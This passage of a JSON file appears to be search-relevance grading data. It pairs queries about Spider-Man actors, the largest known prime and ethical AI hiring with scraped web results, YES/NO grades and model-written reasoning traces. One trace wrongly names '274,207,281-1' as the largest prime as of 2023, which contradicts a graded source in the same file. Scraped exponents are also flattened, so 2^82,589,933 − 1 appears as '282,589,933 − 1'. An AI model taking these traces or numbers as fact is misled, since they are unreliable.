                "text": "We don\u2019t all have a friendly neighborhood Spider-Man, but we can watch one on screens big and small. Spider-Man is one of the iconic superheroes, and he\u2019s certainly gotten his fair share of movies, video games, and more. We\u2019ve seen a lot of different variations on Peter Parker. In fact, these days Peter Parker isn\u2019t even the only Spider-Man out there! Here are the actors who have slung some webs and gotten under J. Jonah Jameson\u2019s skin. Pour one out for Uncle Ben and get to the list!\n\t  Chris Morgan is a Detroit-based culture writer who has somehow managed to justify getting his BA in Film Studies. He has written about sports and entertainment across various internet platforms for years and is also the author of three books about '90s television. ||||I||||              * NFL\n              * MLB\n              * NBA\n              * NHL\n              * Sports Betting\n              * Entertainment\n              * Quizzes\n              * \u00b7\u00b7\u00b7\n                        + Boxing\n                        + CFL\n                        + College Basketball\n                        + College Football\n                        + Entertainment\n                        + Formula One\n                        + Golf\n                        + Gymnastics\n                        + Horse Racing\n                        + IndyCar\n                        + MLS\n                        + MMA\n                        + Motor Sports\n                        + NASCAR\n                        + Olympics\n                        + Premier League\n                        + Skiing\n                        + Soccer\n                        + Sports Betting\n                        + Sports Business\n                        + Tennis\n                        + Track and Field\n                        + UFL\n                        + WNBA\n                        + Wrestling\n                        + More Sports \u25b8\n              * \n                * Follow Us\n                    + On Facebook\n                    + On Flipboard\n                    + On Twitter\n           ",
                "model_trace": "Query Decomposition:\n1. {real name of the actor who played Spider-Man}: This document lists every actor who has played Spider-Man -> ([1], SATISFIED)\n\nAssessment: The document provides a list of actors who have played Spider-Man, which directly addresses the user's query about the real name of the actor who played Spider-Man. YES."
            },
            {
                "grade": "YES",
                "title": "List of Spider-Man film cast members",
                "url": "https://en.wikipedia.org/wiki/List_of_Spider-Man_film_cast_members",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t\t\t\t\t \n Hammond portrays the first live-action version of the character, appearing in a television series and three television films.  Maguire and Garfield star in their own separate film series produced by Columbia Pictures, while Holland headlines the films co-produced by Columbia and Marvel Studios. Moore, Steinfeld and Johnson co-headline the Spider-Verse films.  Simmons portrays various different versions of J. Jonah Jameson throughout the Spider-Man films. \nThe following is a list of cast members who portrayed or voiced characters appearing in the  Spider-Man films produced primarily by Columbia Pictures and later co-produced by Marvel Studios and Sony Pictures Animation.  The list is sorted by film and character, as some characters may have been portrayed by multiple actors.\n  Nicholas Hammond is the first live-action portrayal of the character, starring in  The Amazing Spider-Man television series and its made-for-television films  Spider-Man  (1977),   Spider-Man Strikes Back  (1978), and  Spider-Man: The Dragon's Challenge  (1981).\n  Tobey Maguire portrayed Peter Parker / Spider-Man in a trilogy of films produced by Columbia Pictures consisting of  Spider-Man  (2002),  Spider-Man 2  (2004), and  Spider-Man 3  (2007). A new iteration of the character was portrayed by Andrew Garfield in  The Amazing Spider-Man  (2012) and  The Amazing Spider-Man 2  (2014).\n  Tom Holland portrays another iteration of the character set in the Marvel Cinematic Universe (MCU), headlining a trilogy co-produced by Columbia Pictures and Marvel Studios consisting of  Spider-Man: Homecoming  (2017),  Spider-Man: Far From Home  (2019), and  Spider-Man: No Way Home  (2021), the latter of which he is joined by Maguire and Garfield in supporting roles.  Holland also appeared as the character in the MCU films  Captain America: Civil War  (2016),  Avengers: Infinity War  (2018), and  Avengers: Endgame  (2019), and had an uncredited cameo appearance in the Sony's Spider-Man Universe (SSU) film  Venom",
                "model_trace": "Query Decomposition:\n1. {real name of the actor who played Spider-Man}: This document lists the real names of actors who portrayed Spider-Man, such as Tobey Maguire, Andrew Garfield, and Tom Holland -> ([1], SATISFIED).\n\nAssessment: The document provides the real names of multiple actors who have played Spider-Man, satisfying the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "All the Spider-Man actors in order",
                "url": "https://www.digitaltrends.com/movies/spider-man-actors-in-order/",
                "published_date": null,
                "text": "Since Spider-Man debuted back in 1962, fans have seen many people portray or voice the character on film and television. All these Spider-Men have had varying degrees of success, but each iteration of the web-slinger brought something unique to the franchise, showing that just about anyone can wear the mask. \nContents\n  Paul Soles (1967-1970)   Nicholas Hammond (1977-1981)   Ted Schwartz (1981-1982)   Dan Gilvezan (1981-1983)   Christopher Daniel Barnes (1994-1998)   Rino Romano (1999-2001)   Tobey Maguire (2002-2007, 2021)   Neil Patrick Harris (2003)   Josh Keaton (2008-2009, 2023)   Drake Bell (2012-2017)   Andrew Garfield (2012-2014, 2021)   Tom Holland (2016-present)   Robbie Daymond (2017-2020)   Chris Pine (2018)   Jake Johnson (2018-present)   Benjamin Valic (2021-2023)/Alkaio Thiele (2024-present)   Hudson Thames (2021)  \nTo that end, this list will chronicle all the actors who have played this legendary hero in movies and TV. Note: This list will only cover actors who have played traditional versions of Peter Parker, so Miles Morales and Takuya Yamashiro will not be included.\n  Paul Soles (1967-1970)\n   \nIn the \u201960s, actor Paul Soles was the first one to play Spider-Man in the hero\u2019s unintentionally hilarious cartoon. With the show\u2019s awkward dialogue and subpar animation, Soles\u2019 character has lived on for almost 60 years, becoming the source of several Internet memes, particularly the now-iconic \u201cSpider-Man Pointing Meme.\u201d\nActor Jorma Taccone was even brought in to replicate Soles\u2019s voice for Spider-Man-67\u2019s cameos in the Spider-Verse films.\n  Nicholas Hammond (1977-1981)\n   \nEven though Hammond was the first actor to play Spider-Man in live-action (not counting the one from The Electric Company), his version of the character wasn\u2019t that memorable.\nThe films and the TV show he starred in didn\u2019t adapt much from the comic books, and his character didn\u2019t look, move, or fight like the iconic hero does in the source material. He just didn\u2019t feel like Spider-Man.\n  Ted Schwartz (1981-1982)\n   \nIn terms of act",
                "model_trace": "Query Decomposition:\n1. {real name of the actor}: The document lists the real names of the actors who played Spider-Man -> ([1], SATISFIED)\n2. {actor who played Spider-Man}: The document provides a list of actors who have played Spider-Man in various media -> ([1], SATISFIED)\n\nAssessment: The document provides the real names of multiple actors who have portrayed Spider-Man, which satisfies the user's query. YES"
            }
        ]
    },
    {
        "query": "What is the name of the largest known prime number discovered as of 2023?",
        "grid_pos": [
            0,
            9
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The naturally occurring isotope of radium with the longest half-life is Ra-226, with a half-life of 1,600 years. The chemical formula for radium is Ra.\n\n2. The largest known prime number discovered as of 2023 is 274,207,281-1, also known as the 50th Mersenne prime.\n\n3. The first book in the Dune series written by Frank Herbert is titled \"Dune\".\n\n4. The planet in our solar system with the highest average wind speeds is Neptune, with wind speeds reaching up to 2,100 km/h.\n\n5. The common name for the chemical element with atomic number 79 is gold."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "1040000 + 14253",
                "url": "https://primes.utm.edu/primes/page.php?id=134073",
                "published_date": "2022-09-09",
                "text": "At this site we maintain a list of the 5000 Largest Known Primes\n which is updated hourly. This list is the most important PrimePages database:\n a collection of research, records and results all about prime numbers. This page summarizes our\n information about one of these primes. \n field value \n prime_id 134073 \n person_id 9 \n machine Using: Dual Intel Xeon Gold 5222 CPUs 3.8GHz \n what prp \n notes Command: /home/caldwell/clientpool/1/pfgw64 -tc -q\"10^40000+14253\" 2>&1 PFGW Version 4.0.1.64BIT.20191203.x86_Dev [GWNUM 29.8] Primality testing 10^40000+14253 [N-1/N+1, Brillhart-Lehmer-Selfridge] Running N-1 test using base 2 Running N-1 test using base 5 Running N-1 test using base 7 Running N-1 test using base 13 Running N-1 test using base 23 Running N+1 test using discriminant 31, base 3+sqrt(31) Calling N+1 BLS with factored part 0.02% and helper 0.02% (0.08% proof) 10^40000+14253 is Fermat and Lucas PRP! (33.0164s+0.0002s) [Elapsed time: 33.00 seconds] \n modified 2022-07-11 13:21:44 \n created 2022-06-22 09:16:01 \n id 179807\n\nQuery times: 0.0002 seconds to select prime, 0.0002 seconds to seek comments. Printed from the PrimePages <primes.utm.edu> \u00a9 Chris Caldwell.",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: This document provides information about a specific prime number, 10^40000 + 14253 -> ([1], SATISFIED)\n2. {discovered as of 2023}: The document was published in 2022, so it may not provide the most up-to-date information about the largest known prime number as of 2023 -> ([0], UNSURE)\n\nAssessment: The document provides information about a specific prime number, but it does not confirm whether this is the largest known prime number as of 2023. Since the query specifically asks for the largest known prime number as of 2023, and the document does not provide information beyond 2022, it is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "\"tau(474176)\"",
                "url": "https://primes.utm.edu/primes/page.php?id=134074",
                "published_date": "2022-09-09",
                "text": "At this site we maintain a list of the 5000 Largest Known Primes\n which is updated hourly. This list is the most important PrimePages database:\n a collection of research, records and results all about prime numbers. This page summarizes our\n information about one of these primes. \n field value \n prime_id 134074 \n person_id 9 \n machine Using: Dual Intel Xeon Gold 5222 CPUs 3.8GHz \n what prp \n notes Command: /home/caldwell/clientpool/1/pfgw64 -tc p_134074.txt 2>&1 PFGW Version 4.0.1.64BIT.20191203.x86_Dev [GWNUM 29.8] Primality testing 2801008504...1586564481 [N-1/N+1, Brillhart-Lehmer-Selfridge] Running N-1 test using base 13 Running N+1 test using discriminant 29, base 4+sqrt(29) Calling N-1 BLS with factored part 0.07% and helper 0.00% (0.22% proof) 2801008504...1586564481 is Fermat and Lucas PRP! (48.5888s+0.0042s) [Elapsed time: 48.00 seconds] \n modified 2022-07-11 13:21:44 \n created 2022-06-23 06:01:01 \n id 179808\n\nQuery times: 0.0002 seconds to select prime, 0.0003 seconds to seek comments. Printed from the PrimePages <primes.utm.edu> \u00a9 Chris Caldwell.",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: The document does not provide the name or value of the largest known prime number -> ([0], UNSATISFIED)\n2. {discovered as of 2023}: The document was published in 2022, so it may not have the most up-to-date information for 2023 -> ([0], UNSURE)\n\nAssessment: The document does not provide the name of the largest known prime number and is not up-to-date for 2023. NO."
            },
            {
                "grade": "NO",
                "title": "Toggle Menu",
                "url": "https://www.primegrid.com/forum_thread.php?id=9912",
                "published_date": "2023-02-27",
                "text": "Message\n\nReggie Volunteer moderatorProject administratorVolunteer testerProject scientist Send message\nJoined: 10 May 14Posts: 230ID: 311759Credit: 205,937,347RAC: 45,694\n\nOn 24 March 2022, 17:27:33 UTC, PrimeGrid\u2019s 321 Prime Search found the Mega Prime: \n 3*2^18924988-1 \nThe prime is 5,696,990 digits long and enters Chris Caldwell's \u201cThe Largest Known Primes Database\u201d ranked 18th overall. \nThe discovery was made by Frank Matillek ( boss ) of Germany using an Intel CPU with 1GB RAM, running Ubuntu Linux. This computer took about 1 day, 1 hour, 39 minutes to complete the primality test using LLR2. Frank Matillek is a member of the SETI.Germany team. \nFor more details, please see the official announcement . ID: 155340 | Reply\nQuote\n\nJeppeSN Send message\nJoined: 5 Apr 14Posts: 1793ID: 306875Credit: 48,606,268RAC: 23,934\n\nJust to be very pedantic, since this was a c=-1 task, and since the subproject uses Gerbicz checks to detect random hardware errors during the calculation, the original computation by boss's computer was only a PRP test. \nAs of now, I can still see the task, and it says: Gerbicz check is requested, switching to PRP.\nStarting probable prime test of 3*2^18924988-1\n\nOf course, the prime has been rigorously proved prime afterwards (with an N+1 test without Gerbicz check, first on PrimeGrid's hardware using LLR, then on the Prime Pages' hardware using PFGW).\n/JeppeSN ID: 155357 | Reply\nQuote",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: The document provides information about a prime number discovered by PrimeGrid\u2019s 321 Prime Search -> ([1], SATISFIED)\n2. {discovered as of 2023}: The document mentions a prime number discovered on 24 March 2022, but does not confirm if it is the largest known prime number as of 2023 -> ([0], UNSURE)\n\nAssessment: The document provides information about a specific prime number but does not confirm if it is the largest known prime number as of 2023. Since the subcomponent {discovered as of 2023} is tagged [0], it does not affect the evaluation. The relevant subcomponent {name of the largest known prime number} is SATISFIED.\n\nHowever, the document does not explicitly state that this is the largest known prime number as of 2023, which is crucial for the query.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "Largest known prime number",
                "url": "https://en.wikipedia.org/wiki/Largest_known_prime_number",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t  \nThe largest known prime number (as of November\u00a02022) is 282,589,933 \u2212 1, a number which has 24,862,048 digits when written in base 10. It was found via a computer volunteered by Patrick Laroche of the Great Internet Mersenne Prime Search (GIMPS) in 2018. [1] \n      A 2020 plot of the number of digits in largest known prime by year, since the electronic computer. The vertical scale is logarithmic.  \nA prime number is a positive integer, excluding 1, with no divisors other than 1 and itself. According to Euclid's theorem there are infinitely many prime numbers, so there is no largest prime.\n Many of the largest known primes are Mersenne primes, numbers that are one less than a power of two, because they can utilise a specialised primality test that is faster than the general one. As of November\u00a02022, the eight largest known primes are Mersenne primes. [2]  The last seventeen record primes were Mersenne primes. [3]   [4]  The binary representation of any Mersenne prime is composed of all 1's, since the binary form of 2 k  \u2212 1 is simply k 1's. [5] \nCurrent record[edit]\nThe record is currently held by 282,589,933 \u2212 1 with 24,862,048 digits, found by GIMPS in December 2018. [1]  The first and last 120 digits of its value are shown below:\n 148894445742041325547806458472397916603026273992795324185271289425213239361064475310309971132180337174752834401423587560 ...\n (24,861,808 digits skipped)\n  ... 062107557947958297531595208807192693676521782184472526640076912114355308311969487633766457823695074037951210325217902591 [6] \nPrizes[edit]\nThere are several prizes offered by the Electronic Frontier Foundation (EFF) for record primes. [7]  A prime with one million digits was found in 1999, earning the discoverer a US$50,000 prize. [8]  In 2008, a ten-million digit prime won a US$100,000 prize and a Cooperative Computing Award from the EFF. [7]   Time  called this prime the 29th top invention of 2008. [9] \n Both of these primes were discovered through the Great Internet Mersenne Prime Se",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: The document provides the name of the largest known prime number as of November 2022, which is 2^82,589,933 \u2212 1 -> ([1], SATISFIED)\n2. {discovered as of 2023}: The document mentions the largest known prime number as of November 2022, but does not provide information for 2023 -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {name of the largest known prime number}, which is satisfied. The document does not provide information specifically for 2023, but since it provides the most recent known information up to November 2022, it is likely to be helpful for someone looking for the largest known prime number discovered recently.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "What is the largest known prime number?",
                "url": "https://www.livescience.com/physics-mathematics/mathematics/what-is-the-largest-known-prime-number",
                "published_date": null,
                "text": "Prime numbers are those that can be evenly divided only by 1 and themselves, such as 3 and 7.\n(Image credit: MichaelJayBerlin via Shutterstock)\nPrime numbers have been investigated for more than 2,000 years, since at least the era of the ancient Greek mathematician Euclid. There are infinitely many, but what is the largest known prime number? Prime numbers are those that can be evenly divided only by 1 and themselves, such as 3 and 7. They are key building blocks in  math ; per  the fundamental theorem of arithmetic , every number greater than 1 is either a prime number or a multiple of a prime number,  according to the University of Houston . \"Prime numbers are the 'atoms' of number theory,\"  Thomas Kecker , a mathematician at the University of Portsmouth in England, told Live Science. A major difference between real atoms and prime numbers is that the number of different types of stable atoms is finite. In contrast, \"it is known at least since the times of Euclid in ancient Greece that there is an infinitude of prime numbers,\" Kecker said. \"Finding larger and larger prime numbers therefore became a quest for many mathematicians.\"  Related:    How many atoms are in the observable universe?    Currently, the largest known prime number is 2^(82,589,933) - 1. To calculate this number, multiply 2 by itself 82,589,933 times, and then subtract 1. The result, also known as M82589933, possesses a whopping 24,862,048 digits, more than 1.5 million digits more than the previous record holder,  according to the University of Nebraska-Lincoln . M82589933 is a Mersenne prime, a kind of number named after the French monk Marin Mersenne, who investigated these numbers more than 350 years ago. To calculate a Mersenne prime, 2 is multiplied by itself a number of times, and then 1 is subtracted,  according to the Great Internet Mersenne Prime Search (GIMPS) .   Get the world\u2019s most fascinating discoveries delivered straight to your inbox.   GIMPS is a distributed computing project in which groups of volunteers run software in the ",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: The document mentions the largest known prime number as of its publication -> ([1], SATISFIED)\n2. {discovered as of 2023}: The document does not provide a publication date, making it unclear if the information is current as of 2023 -> ([0], UNSURE)\n\nAssessment: The document clearly provides the name of the largest known prime number, which is the primary subcomponent of the query. The lack of a publication date is tagged [0], so it does not affect the evaluation. YES"
            },
            {
                "grade": "YES",
                "title": "Largest known prime number discovered",
                "url": "https://www.sciencedaily.com/releases/2018/01/180104164507.htm",
                "published_date": null,
                "text": "The Great Internet Mersenne Prime Search (GIMPS) has discovered the largest known prime number, 277,232,917-1, having 23,249,425 digits. A computer volunteered by Jonathan Pace made the find on December 26, 2017. Jonathan is one of thousands of volunteers using free GIMPS software. \nThe new prime number, also known as M77232917, is calculated by multiplying together 77,232,917 twos, and then subtracting one. It is nearly one million digits larger than the previous record prime number, in a special class of extremely rare prime numbers known as Mersenne primes. It is only the 50th known Mersenne prime ever discovered, each increasingly difficult to find. Mersenne primes were named for the French monk Marin Mersenne, who studied these numbers more than 350 years ago. GIMPS, founded in 1996, has discovered the last 16 Mersenne primes. Volunteers download a free program to search for these primes, with a cash award offered to anyone lucky enough to find a new prime. Prof. Chris Caldwell maintains an authoritative web site on the largest known primes, and has an excellent history of Mersenne primes.\nThe primality proof took six days of non-stop computing on a PC with an Intel i5-6600 CPU. To prove there were no errors in the prime discovery process, the new prime was independently verified using four different programs on four different hardware configurations.  Aaron Blosser verified it using Prime95 on an Intel Xeon server in 37 hours. David Stanfill verified it using gpuOwL on an AMD RX Vega 64 GPU in 34 hours. Andreas H\u00f6glund verified the prime using CUDALucas running on NVidia Titan Black GPU in 73 hours. Ernst Mayer also verified it using his own program Mlucas on 32-core Xeon server in 82 hours. Andreas H\u00f6glund also confirmed using Mlucas running on an Amazon AWS instance in 65 hours.  Jonathan Pace is a 51-year old Electrical Engineer living in Germantown, Tennessee. Perseverance has finally paid off for Jon -- he has been hunting for big primes with GIMPS for over 14 years. The discovery is eligible for a $3,",
                "model_trace": "Query Decomposition:\n1. {name of the largest known prime number}: The document provides the name of the largest known prime number discovered, which is 277,232,917-1 -> ([1], SATISFIED)\n2. {discovered as of 2023}: The document mentions the discovery of the largest known prime number as of 2017, but does not confirm if it is still the largest as of 2023 -> ([0], UNSURE).\n\nAssessment: The document provides the name of the largest known prime number discovered in 2017, but does not confirm whether it is still the largest as of 2023. However, since the query is specifically asking for the name of the largest known prime number, and the document provides this information, it is still helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "What are the key considerations for developing a fair and ethical AI-powered hiring system?",
        "grid_pos": [
            1,
            0
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of topics that require a deep understanding of the internet, technology, and the world to answer well. They are specific and detailed, yet open-ended enough to test Exa's capabilities as a smart search engine. The queries touch on areas like AI, social media, ethics, consumer behavior, and data visualization - all of which are relevant and important topics that people frequently search for information on. Answering these queries well would require synthesizing information from multiple sources, understanding nuanced concepts, and drawing insights that go beyond simple factual retrieval."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Building Ethical AI for Talent Management",
                "url": "https://hbr.org/2019/11/building-ethical-ai-for-talent-management",
                "published_date": "2019-11-21",
                "text": "Realistically, we have a greater ability to ensure both accuracy and fairness in AI systems than we do over recruiters and hiring managers. To do this, organizations using AI for talent management, at any stage, should start by taking the following steps. First, focus on designing systems designed to show causation over correlation. If a candidate has an attribute that is associated with success in a role, the organization needs to be able to explain the links between the two. Second, optimize for fairness and accuracy, instead of one over the other. Third, hold your company and developers accountable by allowing others to audit the tools being used to analyze their applications. Finally, follow the same laws \u2014 as well as data collection and usage practices \u2014 you use in traditional hiring.\n\nTweet\n\nPost\n\nShare\n\nAnnotate\n\nSave\n\nGet PDF\n\nBuy Copies\n\nPrint\n\nArtificial intelligence has disrupted every area of our lives \u2014 from the curated shopping experiences we\u2019ve come to expect from companies like Amazon and Alibaba to the personalized recommendations that channels like YouTube and Netflix use to market their latest content. But, when it comes to the workplace, in many ways, AI is still in its infancy. This is particularly true when we consider the ways it is beginning to change talent management. To use a familiar analogy: AI at work is in the dial-up mode. The 5G WiFi phase has yet to arrive, but we have no doubt that it will. \nTo be sure, there is much confusion around what AI can and cannot do, as well as different perspectives on how to define it. In the war for talent, however, AI plays a very specific role: to give organizations more accurate and more efficient predictions of a candidate\u2019s work-related behaviors and performance potential. Unlike traditional recruitment methods, such as employee referrals, CV screening, and face-to-face interviews, AI is able to find patterns unseen by the human eye. \nMany AI systems use real people as models for what success looks like in certain roles. This group of individua",
                "model_trace": "Query Decomposition:\n1. {key considerations for developing a fair AI-powered hiring system}: The document provides steps for ensuring fairness in AI systems used for talent management, such as focusing on causation, optimizing for fairness and accuracy, auditing tools, and following laws -> ([1], SATISFIED)\n2. {key considerations for developing an ethical AI-powered hiring system}: The document discusses ethical considerations such as accountability, transparency, and adherence to laws and regulations -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed steps and considerations for developing a fair and ethical AI-powered hiring system. YES."
            },
            {
                "grade": "YES",
                "title": "Civil Rights Principles for Hiring Assessment Technologies - The Leadership Conference on Civil and Human Rights",
                "url": "https://civilrights.org/resource/civil-rights-principles-for-hiring-assessment-technologies/",
                "published_date": "2020-07-29",
                "text": "View the full document as a PDF here. \n Preface \nHiring is a critical gateway to economic opportunity, determining who can access employment to support themselves and their families. Technology is rapidly changing every step of the employment selection process. Employers are now using new assessment tools that rely on artificial intelligence and algorithms to screen and select job candidates. These developments highlight the need for policymakers to clarify and strengthen guardrails to ensure that hiring assessments are used equitably.\nHiring assessments can take many different forms, including video interviews, gamified assessments, and resume screens. Many vendors claim that these tools objectively evaluate applicants against a set of traits or a profile associated with success in, or good fit for, a job. Employers are using these assessments in an effort to increase efficiency by reducing the time and cost required to fill an open position with a successful hire, and sometimes to hire more diverse candidates. However, assessment technologies can invisibly automate large numbers of rejections by determining which applicants get serious consideration. As a result, hiring assessment technologies deserve close scrutiny.\nToday\u2019s workforce reflects decades of discrimination on the basis of race, ethnicity, sex (including sexual orientation and gender identity), disability and age, and other factors. Hiring assessment technologies are one of many barriers that may impede equity and inclusion in the workforce. Artificial intelligence, by its very nature, risks replicating and deepening existing inequities when it relies on data from the current workforce that is not sufficiently representative because of historic discrimination. Hiring assessment technologies must advance equity, not erect artificial barriers to employment. This will require proactive interventions by employers, vendors, and policymakers.\nThe following principles are offered to guide the development, use, auditing, and oversight of hiring assessment t",
                "model_trace": "Query Decomposition:\n1. {key considerations for developing a fair and ethical AI-powered hiring system}: The document discusses principles for hiring assessment technologies, including the need for equitable use and oversight, which aligns with considerations for developing a fair and ethical AI-powered hiring system -> ([1], SATISFIED)\n2. {focus on fairness and ethics}: The document emphasizes the importance of equity, inclusion, and avoiding discrimination in hiring assessments, which directly relates to fairness and ethics -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Fair AI | Sapia",
                "url": "https://sapia.ai/sapia-labs/fair-ai-sapia-ai-recruitment-software/",
                "published_date": "2022-04-13",
                "text": "In order to demonstrate that an Ai system adheres to the fairness definition, FAIR\u2122 expects it to demonstrate four properties \u2013 in other words, it must prove that it is unbiased, valid, explainable and inclusive. Organizations also need to build trust with users, and can extend FAIR\u2122 to achieve this by demonstrating three key areas: Data privacy and security, team diversity, and transparency. UnbiasedThe outcomes from Ai should not be biased towards a group defined by a protected attribute. This can be demonstrated with an applicable set of bias tests such as the 4\\5th rule, error rate parity and other statistical tests. ValidAs predictive applications, outcomes of Ai need to demonstrate validity, specifically criterion validity. In other words, evidence must be provided on how well the Ai is able to predict what it is designed to do so. ExplainableDocumentation and tool support to interpret the outcomes of the Ai solution. This includes interpretation of individual outcomes by providing insights to both candidates and hiring managers on what the Ai has learnt about the candidate in assigning a score. InclusiveThe measure of inclusivity attempts to establish that all candidates are treated equally in the process of using an Ai system. It is an end to end system consideration that goes beyond the AI components.",
                "model_trace": "Query Decomposition:\n1. {Key considerations for developing a fair and ethical AI-powered hiring system}: The document discusses key considerations such as fairness, bias, validity, explainability, inclusivity, data privacy, security, team diversity, and transparency -> ([1], SATISFIED)\n\nAssessment: The document clearly outlines the key considerations for developing a fair and ethical AI-powered hiring system. YES."
            },
            {
                "grade": "YES",
                "title": "Ethical Considerations in AI-Powered Recruitment",
                "url": "https://recruitingdaily.com/ethical-considerations-in-ai-powered-recruitment/",
                "published_date": null,
                "text": "Comment  \nAdd to Favorites   \nIn the quest for fairness in AI-driven recruitment, we\u2019ve gathered insights from five industry leaders. From balancing AI with human oversight to having comprehensive ethics in AI recruitment strategies, these experts share their experiences and solutions to the ethical challenges they\u2019ve faced. Discover their valuable perspectives on maintaining integrity in the age of artificial intelligence.\n Balancing AI with Human Oversight \nThe biggest ethical challenge in AI recruitment is ensuring that it doesn\u2019t perpetuate biases. AI is only as unbiased as the data it\u2019s fed, and historical hiring data can be skewed.\nTo mitigate this, AI is not made the sole decision-maker. It\u2019s part of a broader, human-led process. It is used for initial screening, but the final decisions are always made by humans, ensuring a diverse range of perspectives. Maintaining fairness in recruitment is about constant vigilance, regular audits of the AI process and balancing technology with human judgment. It\u2019s a commitment to using AI as a tool for inclusion, not exclusion.\nZephyr Chan\nFounder and Growth Marketer, Better Marketer\n Refining AI for Fair Candidate Assessment \nOne ethical challenge encountered in using AI in recruitment is the potential for bias in algorithmic decision-making. To address this, I implemented a rigorous evaluation process for the AI algorithms, continuously monitoring and refining them to ensure fairness.\nWe focused on diverse and representative training data, minimizing biases and improving the system\u2019s ability to assess candidates fairly. Additionally, transparency in AI decision-making was prioritized, ensuring that candidates understand the criteria used in their evaluation. Regular audits and collaboration with diversity and inclusion experts further reinforced our commitment to maintaining fairness.\nAddressing these ethical challenges not only upheld our responsibility to candidates but also strengthened the overall integrity and effectiveness of the AI-driven recruitment process.\nK",
                "model_trace": "Query Decomposition:\n1. [Key considerations for developing a fair and ethical AI-powered hiring system]: This document discusses various ethical considerations and challenges in AI-powered recruitment, including balancing AI with human oversight, mitigating biases, ensuring transparency, and regular audits -> ([1], SATISFIED).\n\nAssessment: The document provides detailed insights and strategies from industry leaders on maintaining fairness and ethics in AI recruitment, which aligns well with the query's intent. YES."
            },
            {
                "grade": "YES",
                "title": "Ethical AI in Recruitment: Ensuring Fairness and ...",
                "url": "https://hirebee.ai/blog/recruitment-metrics-and-analytics/ethical-ai-in-recruitment-ensuring-fairness-and-transparency/",
                "published_date": null,
                "text": "Ethical AI in recruitment has emerged as a critical topic in the era of digital transformation and automation. With the increasing reliance on artificial intelligence and machine learning algorithms to streamline hiring processes, concerns surrounding fairness and transparency have come to the forefront. \nEnsuring that AI-driven recruitment systems remain free from biases and discriminatory practices is essential to promote diversity and equal opportunities in the workforce. This paper explores the challenges faced in the recruitment domain due to AI, emphasizing the significance of fairness and transparency in reporting and analytics. By examining the principles of ethical AI in recruitment, we delve into ways to mitigate biases in data collection, algorithmic decision-making, and model interpretations. \n \nAdditionally, we explore the role of human oversight and the need for ethical decision-making frameworks to strike a balance between automation and human intervention. Furthermore, the paper considers the legal and regulatory aspects associated with AI recruitment and provides case studies to illustrate successful implementations of ethical AI practices. Ultimately, the paper aims to underscore the importance of adopting ethical AI principles to build a more just and inclusive job market.\n Hirebee is here to help you come up with candidate feedback forms that will allow you to streamline the overall hiring and recruitment process.\n   Challenges in AI Recruitment   Principles of Ethical AI in Recruitment   Ensuring Fairness in AI Recruitment   Ensuring Transparency in AI Recruitment   The Role of Human Oversight   Legal and Regulatory Considerations   Conclusion   FAQs   What is Ethical AI in Recruitment, and why is it important?   How does AI recruitment technology contribute to bias and discrimination?   What are the principles of Ethical AI in Recruitment?   How can organizations ensure fairness in AI recruitment?   What role does human oversight play in Ethical AI recruitment?      \n  Challenges in AI Recru",
                "model_trace": "Query Decomposition:\n1. {Key considerations for developing a fair and ethical AI-powered hiring system}: This document discusses ethical AI in recruitment, including fairness, transparency, biases, human oversight, and legal considerations -> ([1], SATISFIED)\n\nAssessment: The document provides detailed insights into the key considerations for developing a fair and ethical AI-powered hiring system, including fairness, transparency, biases, human oversight, and legal considerations. Therefore, it satisfies the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "The Ethical Considerations of Artificial Intelligence",
                "url": "https://www.captechu.edu/blog/ethical-considerations-of-artificial-intelligence",
                "published_date": null,
                "text": "Artificial intelligence is progressing at an astonishing pace, raising profound ethical concerns regarding its use, ownership, accountability, and long-term implications for humanity. As technologists, ethicists, and policymakers look at the future of AI, ongoing debates about the control, power dynamics, and potential for AI to surpass human capabilities highlight the need to address these ethical challenges in the present. With the White House recently investing $140 million in funding and providing additional policy guidance, significant steps are being taken to understand and mitigate these challenges to harness AI\u2019s immense potential.\u00a0\nHere\u2019s a look at some of the most pressing ethical issues surrounding AI today.\u00a0\nBias and Discrimination\u00a0\nAI systems are trained on massive amounts of data, and embedded in that data are societal biases. Consequently, these biases can become ingrained in AI algorithms, perpetuating and amplifying unfair or discriminatory outcomes in crucial areas such as hiring, lending, criminal justice, and resource allocation. For example, if a company uses an AI system to screen job applicants by analyzing their resumes, that AI system was likely trained on historical data of successful hires within the company. However, if the historical data is biased, such as containing gender or racial biases, the AI system may learn and perpetuate those biases, thus discriminating against candidates who don\u2019t match the historical hirings of the company. Several U.S. agencies recently issued warnings about how they intend to push back against bias in AI models and hold organizations accountable for perpetuating discrimination through their platforms.\u00a0\nTransparency and Accountability\u00a0\nAI systems often operate in a \u201cblack box,\u201d where these systems offer limited interpretability of how they work and how they arrived at certain decisions. In critical domains like health care or autonomous vehicles, transparency is vital to ascertain how decisions are made and who bears responsibility for them. Clarifying a",
